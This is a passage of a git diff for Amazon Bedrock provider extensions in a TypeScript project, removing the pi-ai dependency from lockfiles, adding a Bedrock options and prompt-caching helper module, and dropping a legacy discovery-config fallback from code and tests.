"sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA==", - "license": "MIT", - "dependencies": { - "data-uri-to-buffer": "^4.0.0", - "fetch-blob": "^3.1.4", - "formdata-polyfill": "^4.0.10" - }, - "engines": { - "node": "^12.20.0 || ^14.13.1 || >=16.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/node-fetch" - } - }, - "node_modules/openai": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/openai/-/openai-6.26.0.tgz", - "integrity": "sha512-zd23dbWTjiJ6sSAX6s0HrCZi41JwTA1bQVs0wLQPZ2/5o2gxOJA5wh7yOAUgwYybfhDXyhwlpeQf7Mlgx8EOCA==", - "license": "Apache-2.0", - "bin": { - "openai": "bin/cli" - }, - "peerDependencies": { - "ws": "^8.18.0", - "zod": "^3.25 || ^4.0" - }, - "peerDependenciesMeta": { - "ws": { - "optional": true - }, - "zod": { - "optional": true - } - } - }, - "node_modules/p-retry": { - "version": "4.6.2", - "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.2.tgz", - "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==", - "license": "MIT", - "dependencies": { - "@types/retry": "0.12.0", - "retry": "^0.13.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/partial-json": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/partial-json/-/partial-json-0.1.7.tgz", - "integrity": "sha512-Njv/59hHaokb/hRUjce3Hdv12wd60MtM9Z5Olmn+nehe0QDAsRtRbJPvJ0Z91TusF0SuZRIvnM+S4l6EIP8leA==", - "license": "MIT" - }, "node_modules/path-expression-matcher": { "version": "1.5.0", "resolved": "https://registry.npmjs.org/path-expression-matcher/-/path-expression-matcher-1.5.0.tgz", @@ -1202,48 +753,6 @@ "node": ">=14.0.0" } }, - "node_modules/protobufjs": { - "version": "8.4.0", - "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-8.4.0.tgz", - "integrity": "sha512-iriNhQ57SYA5Jbdi+41AyPdx6jPPkFO7DODzkOBmqFhgYn/JzX2HxgxYPY18eQAs3CP/AWqtPvkWn8rclRAxdQ==", - "hasInstallScript": true, - "license": "BSD-3-Clause", - "dependencies": { - "long": "^5.3.2" - }, - "engines": { - "node": ">=12.0.0" - } - }, - "node_modules/retry": { - "version": "0.13.1", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", - "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, "node_modules/standardwebhooks": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/standardwebhooks/-/standardwebhooks-1.0.0.tgz", @@ -1278,42 +787,6 @@ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", "license": "0BSD" }, - "node_modules/typebox": { - "version": "1.1.38", - "resolved": "https://registry.npmjs.org/typebox/-/typebox-1.1.38.tgz", - "integrity": "sha512-pZ0aQPmMmXoUvSbeuWf/Hzsc+avNw/Zd6VeE8CFgkVGWyuHPJvqeJJDeJqLve+K70LvjYIoleGcoJHPT17cWoA==", - "license": "MIT" - }, - "node_modules/web-streams-polyfill": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-3.3.3.tgz", - "integrity": "sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw==", - "license": "MIT", - "engines": { - "node": ">= 8" - } - }, - "node_modules/ws": { - "version": "8.21.0", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.21.0.tgz", - "integrity": "sha512-Vsp28b7DRcimFQvrqu2Wek3z1iYxDCWqHYB8Qsnk/S4RfaCQzPGPyBNuVjJV3cd6UiKtUtp6sNM77gWvzcCH+g==", - "license": "MIT", - "engines": { - "node": ">=10.0.0" - }, - "peerDependencies": { - "bufferutil": "^4.0.1", - "utf-8-validate": ">=5.0.2" - }, - "peerDependenciesMeta": { - "bufferutil": { - "optional": true - }, - "utf-8-validate": { - "optional": true - } - } - }, "node_modules/xml-naming": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/xml-naming/-/xml-naming-0.1.0.tgz", @@ -1328,24 +801,6 @@ "engines": { "node": ">=16.0.0" } - }, - "node_modules/zod": { - "version": "4.4.3", - "resolved": "https://registry.npmjs.org/zod/-/zod-4.4.3.tgz", - "integrity": "sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/colinhacks" - } - }, - "node_modules/zod-to-json-schema": { - "version": "3.25.2", - "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.2.tgz", - "integrity": "sha512-O/PgfnpT1xKSDeQYSCfRI5Gy3hPf91mKVDuYLUHZJMiDFptvP41MSnWofm8dnCm0256ZNfZIM7DSzuSMAFnjHA==", - "license": "ISC", - "peerDependencies": { - "zod": "^3.25.28 || ^4" - } } } } diff --git a/extensions/amazon-bedrock-mantle/package.json b/extensions/amazon-bedrock-mantle/package.json index 6ca98e846b5..f04f92e39b4 100644 --- a/extensions/amazon-bedrock-mantle/package.json +++ b/extensions/amazon-bedrock-mantle/package.json @@ -9,8 +9,7 @@ "type": "module", "dependencies": { "@anthropic-ai/sdk": "0.98.0", - "@aws/bedrock-token-generator": "1.1.0", - "@earendil-works/pi-ai": "0.75.5" + "@aws/bedrock-token-generator": "1.1.0" }, "devDependencies": { "@openclaw/plugin-sdk": "workspace:*" diff --git a/extensions/amazon-bedrock/bedrock-options.ts b/extensions/amazon-bedrock/bedrock-options.ts new file mode 100644 index 00000000000..e659f93d79f --- /dev/null +++ b/extensions/amazon-bedrock/bedrock-options.ts @@ -0,0 +1,44 @@ +import type { StreamOptions, ThinkingBudgets, ThinkingLevel } from "openclaw/plugin-sdk/llm"; + +export type BedrockThinkingDisplay = "summarized" | "omitted"; + +export interface BedrockOptions extends StreamOptions { + region?: string; + profile?: string; + toolChoice?: "auto" | "any" | "none" | { type: "tool"; name: string }; + reasoning?: ThinkingLevel; + thinkingBudgets?: ThinkingBudgets; + interleavedThinking?: boolean; + thinkingDisplay?: BedrockThinkingDisplay; + requestMetadata?: Record; + bearerToken?: string; +} + +function getModelMatchCandidates(modelId: string, modelName?: string): string[] { + const values = modelName ? [modelId, modelName] : [modelId]; + return values.flatMap((value) => { + const lower = value.toLowerCase(); + return [lower, lower.replace(/[\s_.:]+/g, "-")]; + }); +} + +export function supportsBedrockPromptCaching(modelId: string, modelName?: string): boolean { + const candidates = getModelMatchCandidates(modelId, modelName); + const hasClaudeRef = candidates.some((s) => s.includes("claude")); + if (!hasClaudeRef) { + if (typeof process !== "undefined" && process.env.AWS_BEDROCK_FORCE_CACHE === "1") { + return true; + } + return false; + } + if (candidates.some((s) => s.includes("-4-"))) { + return true; + } + if (candidates.some((s) => s.includes("claude-3-7-sonnet"))) { + return true; + } + if (candidates.some((s) => s.includes("claude-3-5-haiku"))) { + return true; + } + return false; +} diff --git a/extensions/amazon-bedrock/discovery.test.ts b/extensions/amazon-bedrock/discovery.test.ts index ed10a995654..8c23c9f0732 100644 --- a/extensions/amazon-bedrock/discovery.test.ts +++ b/extensions/amazon-bedrock/discovery.test.ts @@ -502,18 +502,10 @@ describe("bedrock discovery", () => { ).toEqual(["amazon.nova-micro-v1:0"]); }); - it("prefers plugin-owned discovery config and still honors legacy fallback", async () => { + it("uses plugin-owned discovery config without runtime legacy fallback", async () => { mockSingleActiveSummary(); const pluginEnabled = await resolveImplicitBedrockProvider({ - config: { - models: { - bedrockDiscovery: { - enabled: false, - region: "us-west-2", - }, - }, - }, pluginConfig: { discovery: { enabled: true, @@ -527,24 +519,6 @@ describe("bedrock discovery", () => { expect(pluginEnabled?.baseUrl).toBe("https://bedrock-runtime.us-east-1.amazonaws.com"); // 2 calls per discovery (ListFoundationModels + ListInferenceProfiles). expect(sendMock).toHaveBeenCalledTimes(2); - - mockSingleActiveSummary(); - - const legacyEnabled = await resolveImplicitBedrockProvider({ - config: { - models: { - bedrockDiscovery: { - enabled: true, - region: "us-west-2", - }, - }, - }, - env: {} as NodeJS.ProcessEnv, - clientFactory, - }); - - expect(legacyEnabled?.baseUrl).toBe("https://bedrock-runtime.us-west-2.amazonaws.com"); - expect(sendMock).toHaveBeenCalledTimes(4); }); // Ported from #65449 by @alickgithub2 — extended to also cover apac. prefix diff --git a/extensions/amazon-bedrock/discovery.ts b/extensions/amazon-bedrock/discovery.ts index 3a22d99b9fc..c669d01b632 100644 --- a/extensions/amazon-bedrock/discovery.ts +++ b/extensions/amazon-bedrock/discovery.ts @@ -578,16 +578,12 @@ export async function discoverBedrockModels(params: { } export async function resolveImplicitBedrockProvider(params: { - config?: { models?: { bedrockDiscovery?: BedrockDiscoveryConfig } }; pluginConfig?: { discovery?: BedrockDiscoveryConfig }; env?: NodeJS.ProcessEnv; clientFactory?: (region: string) => BedrockClient; }): Promise { const env = params.env ?? process.env; - const discoveryConfig = { - ...params.config?.models?.bedrockDiscovery, - ...params.pluginConfig?.discovery, - }; + const discoveryConfig = params.pluginConfig?.discovery; const enabled = discoveryConfig?.enabled; const hasAwsCreds = resolveBedrockConfigApiKey(env) !== undefined; if (enabled === false) { diff --git a/extensions/amazon-bedrock/index.test.ts b/extensions/amazon-bedrock/index.test.ts index 5dee92cd687..6d24b2e2aaa 100644 --- a/extensions/amazon-bedrock/index.test.ts +++ b/extensions/amazon-bedrock/index.test.ts @@ -478,6 +478,36 @@ describe("amazon-bedrock provider plugin", () => { expect(result).not.toHaveProperty("temperature"); }); + it("uses plugin discovery region when provider URLs do not encode one", async () => { + const provider = await registerSingleProviderPlugin(amazonBedrockPlugin); + const wrapped = provider.wrapStreamFn?.({ + provider: "amazon-bedrock", + modelId: NON_ANTHROPIC_MODEL, + model: { + api: "bedrock-converse-stream", + provider: "amazon-bedrock", + id: NON_ANTHROPIC_MODEL, + baseUrl: "https://bedrock-runtime.internal.example", + }, + config: { + plugins: { + entries: { + "amazon-bedrock": { + config: { discovery: { region: "eu-central-1" } }, + }, + }, + }, + }, + streamFn: spyStreamFn, + } as never); + + const result = wrapped?.(MODEL_DESCRIPTOR, { messages: [] } as never, {}) as + | Record + | undefined; + + expectWrappedResultFields(result, { region: "eu-central-1" }); + }); + it("omits temperature for non-US Bedrock Opus 4.7 regional profiles", async () => { const provider = await registerSingleProviderPlugin(amazonBedrockPlugin); const wrapped = provider.wrapStreamFn?.({ @@ -969,14 +999,14 @@ describe("amazon-bedrock provider plugin", () => { expect(messages[0].content).toHaveLength(2); }); - it("does not inject cache points for regular Anthropic model IDs (pi-ai handles them)", async () => { + it("does not inject cache points for regular Anthropic model IDs handled by the shared runtime", async () => { const provider = await registerWithConfig(undefined); const payload: Record = { system: [{ text: "You are helpful." }], messages: [{ role: "user", content: [{ text: "Hello" }] }], }; - // Regular model IDs contain "claude" so pi-ai handles caching natively. + // Regular model IDs contain "claude" so the shared runtime handles caching natively. // wrapStreamFn should not install an onPayload hook for these. const wrapped = provider.wrapStreamFn?.({ provider: "amazon-bedrock", @@ -997,7 +1027,7 @@ describe("amazon-bedrock provider plugin", () => { expect(system).toHaveLength(1); }); - it("does not inject cache points for older Claude models not in pi-ai's cache list", async () => { + it("does not inject cache points for older Claude models not in the shared runtime cache list", async () => { const provider = await registerWithConfig(undefined); const oldClaudeModel = "anthropic.claude-3-opus-20240229-v1:0"; const payload: Record = { @@ -1005,7 +1035,7 @@ describe("amazon-bedrock provider plugin", () => { messages: [{ role: "user", content: [{ text: "Hello" }] }], }; - // Claude 3 Opus is not in pi-ai's supportsPromptCaching list, but it's + // Claude 3 Opus is not in the shared runtime supportsPromptCaching list, but it's // also not an application inference profile — we should not inject. const wrapped = provider.wrapStreamFn?.({ provider: "amazon-bedrock", diff --git a/extensions/amazon-bedrock/npm-shrinkwrap.json b/extensions/amazon-bedrock/npm-shrinkwrap.json index 31314a27cda..b535c580eda 100644 --- a/extensions/amazon-bedrock/npm-shrinkwrap.json +++ b/extensions/amazon-bedrock/npm-shrinkwrap.json @@ -11,29 +11,9 @@ "@aws-sdk/client-bedrock": "3.1053.0", "@aws-sdk/client-bedrock-runtime": "3.1053.0", "@aws-sdk/credential-provider-node": "3.972.44", - "@earendil-works/pi-ai": "0.75.5", - "@smithy/shared-ini-file-loader": "4.5.4" - } - }, - "node_modules/@anthropic-ai/sdk": { - "version": "0.98.0", - "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-0.98.0.tgz", - "integrity": "sha512-N7aXtCvC5g6T1Y4V29lJjceu/zTkVkIZF0jdBvagr0TRFHuKeImffalGWEfqZKrvjH+IQbzJWw6TmSmUzrlMgg==", - "license": "MIT", - "dependencies": { - "json-schema-to-ts": "^3.1.1", - "standardwebhooks": "^1.0.0" - }, - "bin": { - "anthropic-ai-sdk": "bin/cli" - }, - "peerDependencies": { - "zod": "^3.25.0 || ^4.0.0" - }, - "peerDependenciesMeta": { - "zod": { - "optional": true - } + "@smithy/node-http-handler": "4.7.3", + "@smithy/shared-ini-file-loader": "4.5.4", + "@smithy/types": "4.14.2" } }, "node_modules/@aws-crypto/crc32": { @@ -296,6 +276,23 @@ "node": ">=20.0.0" } }, + "node_modules/@aws-sdk/credential-provider-sso/node_modules/@aws-sdk/token-providers": { + "version": "3.1052.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.1052.0.tgz", + "integrity": "sha512-QqZNB3so7UIDxZtroc85TQaLVxdZRFm0eWM1CSR2N+b06as9TOrilvrlTZuj3guYlxMs6yLOgGxnklJ5qMYtTw==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.13", + "@aws-sdk/nested-clients": "^3.997.11", + "@aws-sdk/types": "^3.973.9", + "@smithy/core": "^3.24.3", + "@smithy/types": "^4.14.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, "node_modules/@aws-sdk/credential-provider-web-identity": { "version": "3.972.43", "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.972.43.tgz", @@ -464,74 +461,6 @@ "node": ">=18.0.0" } }, - "node_modules/@babel/runtime": { - "version": "7.29.2", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.2.tgz", - "integrity": "sha512-JiDShH45zKHWyGe4ZNVRrCjBz8Nh9TMmZG1kh4QTK8hCBTWBi8Da+i7s1fJw7/lYpM4ccepSNfqzZ/QvABBi5g==", - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@earendil-works/pi-ai": { - "version": "0.75.5", - "resolved": "https://registry.npmjs.org/@earendil-works/pi-ai/-/pi-ai-0.75.5.tgz", - "integrity": "sha512-zf1F5kXk1pqZeFShXOqq9ibUk8QdtRoLCDPAjO+hj44e3EUs9/GFO2qnhTC5+JA2uwVCx+WCNe1PiCjlBYWm5w==", - "license": "MIT", - "dependencies": { - "@anthropic-ai/sdk": "0.91.1", - "@aws-sdk/client-bedrock-runtime": "3.1048.0", - "@google/genai": "1.52.0", - "@mistralai/mistralai": "2.2.1", - "@smithy/node-http-handler": "4.7.3", - "http-proxy-agent": "7.0.2", - "https-proxy-agent": "7.0.6", - "openai": "6.26.0", - "partial-json": "0.1.7", - "typebox": "1.1.38" - }, - "bin": { - "pi-ai": "dist/cli.js" - }, - "engines": { - "node": ">=22.19.0" - } - }, - "node_modules/@google/genai": { - "version": "1.52.0", - "resolved": "https://registry.npmjs.org/@google/genai/-/genai-1.52.0.tgz", - "integrity": "sha512-gwSvbpiN/17O9TbsqSsE/OzZcpv5Fo4RQjdngGgogtuB9RsyJ8ZHhX5KjHj1bp5N9snN2eK8LDGXSaWW2hof8Q==", - "hasInstallScript": true, - "license": "Apache-2.0", - "dependencies": { - "google-auth-library": "^10.3.0", - "p-retry": "^4.6.2", - "protobufjs": "^7.5.4", - "ws": "^8.18.0" - }, - "engines": { - "node": ">=20.0.0" - }, - "peerDependencies": { - "@modelcontextprotocol/sdk": "^1.25.2" - }, - "peerDependenciesMeta": { - "@modelcontextprotocol/sdk": { - "optional": true - } - } - }, - "node_modules/@mistralai/mistralai": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/@mistralai/mistralai/-/mistralai-2.2.1.tgz", - "integrity": "sha512-uKU8CZmL2RzYKmplsU01hii4p3pe4HqJefpWNRWXm1Tcm0Sm4xXfwSLIy4k7ZCPlbETCGcp69E7hZs+WOJ5itQ==", - "license": "Apache-2.0", - "dependencies": { - "ws": "^8.18.0", - "zod": "^3.25.0 || ^4.0.0", - "zod-to-json-schema": "^3.25.0" - } - }, "node_modules/@nodable/entities": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/@nodable/entities/-/entities-2.1.0.tgz", @@ -599,12 +528,12 @@ } }, "node_modules/@smithy/node-http-handler": { - "version": "4.7.4", - "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.7.4.tgz", - "integrity": "sha512-HIeF+1vrDGzPkkv39Hj2vlHSXHY3p958jd/8ZnePIY6+ZOsQX8coyEUKO5yQu4r0bQIVsbpotVIrXXwyycMStQ==", + "version": "4.7.3", + "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.7.3.tgz", + "integrity": "sha512-/jPhevcTFPMVl6KNjbaI47iOg1zxC7IsnX4PQDGVZKMFceOXtB8IEYaB7a9VvkP/3oC60WzTeKocvSI7vLT0vA==", "license": "Apache-2.0", "dependencies": { - "@smithy/core": "^3.24.4", + "@smithy/core": "^3.24.3", "@smithy/types": "^4.14.2", "tslib": "^2.6.2" }, @@ -677,115 +606,12 @@ "node": ">=14.0.0" } }, - "node_modules/@stablelib/base64": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@stablelib/base64/-/base64-1.0.1.tgz", - "integrity": "sha512-1bnPQqSxSuc3Ii6MhBysoWCg58j97aUjuCSZrGSmDxNqtytIi0k8utUenAwTZN4V5mXXYGsVUI9zeBqy+jBOSQ==", - "license": "MIT" - }, - "node_modules/@types/retry": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz", - "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==", - "license": "MIT" - }, - "node_modules/agent-base": { - "version": "7.1.4", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", - "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", - "license": "MIT", - "engines": { - "node": ">= 14" - } - }, - "node_modules/base64-js": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", - "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/bignumber.js": { - "version": "9.3.1", - "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.3.1.tgz", - "integrity": "sha512-Ko0uX15oIUS7wJ3Rb30Fs6SkVbLmPBAKdlm7q9+ak9bbIeFf0MwuBsQV6z7+X768/cHsfg+WlysDWJcmthjsjQ==", - "license": "MIT", - "engines": { - "node": "*" - } - }, "node_modules/bowser": { "version": "2.14.1", "resolved": "https://registry.npmjs.org/bowser/-/bowser-2.14.1.tgz", "integrity": "sha512-tzPjzCxygAKWFOJP011oxFHs57HzIhOEracIgAePE4pqB3LikALKnSzUyU4MGs9/iCEUuHlAJTjTc5M+u7YEGg==", "license": "MIT" }, - "node_modules/buffer-equal-constant-time": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz", - "integrity": "sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==", - "license": "BSD-3-Clause" - }, - "node_modules/data-uri-to-buffer": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-4.0.1.tgz", - "integrity": "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A==", - "license": "MIT", - "engines": { - "node": ">= 12" - } - }, - "node_modules/debug": { - "version": "4.4.3", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - "license": "MIT", - "dependencies": { - "ms": "^2.1.3" - }, - "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } - } - }, - "node_modules/ecdsa-sig-formatter": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/ecdsa-sig-formatter/-/ecdsa-sig-formatter-1.0.11.tgz", - "integrity": "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==", - "license": "Apache-2.0", - "dependencies": { - "safe-buffer": "^5.0.1" - } - }, - "node_modules/extend": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", - "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", - "license": "MIT" - }, - "node_modules/fast-sha256": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/fast-sha256/-/fast-sha256-1.3.0.tgz", - "integrity": "sha512-n11RGP/lrWEFI/bWdygLxhI+pVeo1ZYIVwvvPkW7azl/rOy+F3HYRZ2K5zeE9mmkhQppyv9sQFx0JM9UabnpPQ==", - "license": "Unlicense" - }, "node_modules/fast-xml-builder": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/fast-xml-builder/-/fast-xml-builder-1.2.0.tgz", @@ -823,244 +649,6 @@ "fxparser": "src/cli/cli.js" } }, - "node_modules/fetch-blob": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/fetch-blob/-/fetch-blob-3.2.0.tgz", - "integrity": "sha512-7yAQpD2UMJzLi1Dqv7qFYnPbaPx7ZfFK6PiIxQ4PfkGPyNyl2Ugx+a/umUonmKqjhM4DnfbMvdX6otXq83soQQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/jimmywarting" - }, - { - "type": "paypal", - "url": "https://paypal.me/jimmywarting" - } - ], - "license": "MIT", - "dependencies": { - "node-domexception": "^1.0.0", - "web-streams-polyfill": "^3.0.3" - }, - "engines": { - "node": "^12.20 || >= 14.13" - } - }, - "node_modules/formdata-polyfill": { - "version": "4.0.10", - "resolved": "https://registry.npmjs.org/formdata-polyfill/-/formdata-polyfill-4.0.10.tgz", - "integrity": "sha512-buewHzMvYL29jdeQTVILecSaZKnt/RJWjoZCF5OW60Z67/GmSLBkOFM7qh1PI3zFNtJbaZL5eQu1vLfazOwj4g==", - "license": "MIT", - "dependencies": { - "fetch-blob": "^3.1.2" - }, - "engines": { - "node": ">=12.20.0" - } - }, - "node_modules/gaxios": { - "version": "7.1.4", - "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-7.1.4.tgz", - "integrity": "sha512-bTIgTsM2bWn3XklZISBTQX7ZSddGW+IO3bMdGaemHZ3tbqExMENHLx6kKZ/KlejgrMtj8q7wBItt51yegqalrA==", - "license": "Apache-2.0", - "dependencies": { - "extend": "^3.0.2", - "https-proxy-agent": "^7.0.1", - "node-fetch": "^3.3.2" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/gcp-metadata": { - "version": "8.1.2", - "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-8.1.2.tgz", - "integrity": "sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg==", - "license": "Apache-2.0", - "dependencies": { - "gaxios": "^7.0.0", - "google-logging-utils": "^1.0.0", - "json-bigint": "^1.0.0" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/google-auth-library": { - "version": "10.6.2", - "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-10.6.2.tgz", - "integrity": "sha512-e27Z6EThmVNNvtYASwQxose/G57rkRuaRbQyxM2bvYLLX/GqWZ5chWq2EBoUchJbCc57eC9ArzO5wMsEmWftCw==", - "license": "Apache-2.0", - "dependencies": { - "base64-js": "^1.3.0", - "ecdsa-sig-formatter": "^1.0.11", - "gaxios": "^7.1.4", - "gcp-metadata": "8.1.2", - "google-logging-utils": "1.1.3", - "jws": "^4.0.0" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/google-logging-utils": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-1.1.3.tgz", - "integrity": "sha512-eAmLkjDjAFCVXg7A1unxHsLf961m6y17QFqXqAXGj/gVkKFrEICfStRfwUlGNfeCEjNRa32JEWOUTlYXPyyKvA==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/http-proxy-agent": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", - "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", - "license": "MIT", - "dependencies": { - "agent-base": "^7.1.0", - "debug": "^4.3.4" - }, - "engines": { - "node": ">= 14" - } - }, - "node_modules/https-proxy-agent": { - "version": "7.0.6", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", - "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==", - "license": "MIT", - "dependencies": { - "agent-base": "^7.1.2", - "debug": "4" - }, - "engines": { - "node": ">= 14" - } - }, - "node_modules/json-bigint": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-1.0.0.tgz", - "integrity": "sha512-SiPv/8VpZuWbvLSMtTDU8hEfrZWg/mH/nV/b4o0CYbSxu1UIQPLdwKOCIyLQX+VIPO5vrLX3i8qtqFyhdPSUSQ==", - "license": "MIT", - "dependencies": { - "bignumber.js": "^9.0.0" - } - }, - "node_modules/json-schema-to-ts": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/json-schema-to-ts/-/json-schema-to-ts-3.1.1.tgz", - "integrity": "sha512-+DWg8jCJG2TEnpy7kOm/7/AxaYoaRbjVB4LFZLySZlWn8exGs3A4OLJR966cVvU26N7X9TWxl+Jsw7dzAqKT6g==", - "license": "MIT", - "dependencies": { - "@babel/runtime": "^7.18.3", - "ts-algebra": "^2.0.0" - }, - "engines": { - "node": ">=16" - } - }, - "node_modules/jwa": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.1.tgz", - "integrity": "sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg==", - "license": "MIT", - "dependencies": { - "buffer-equal-constant-time": "^1.0.1", - "ecdsa-sig-formatter": "1.0.11", - "safe-buffer": "^5.0.1" - } - }, - "node_modules/jws": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.1.tgz", - "integrity": "sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA==", - "license": "MIT", - "dependencies": { - "jwa": "^2.0.1", - "safe-buffer": "^5.0.1" - } - }, - "node_modules/long": { - 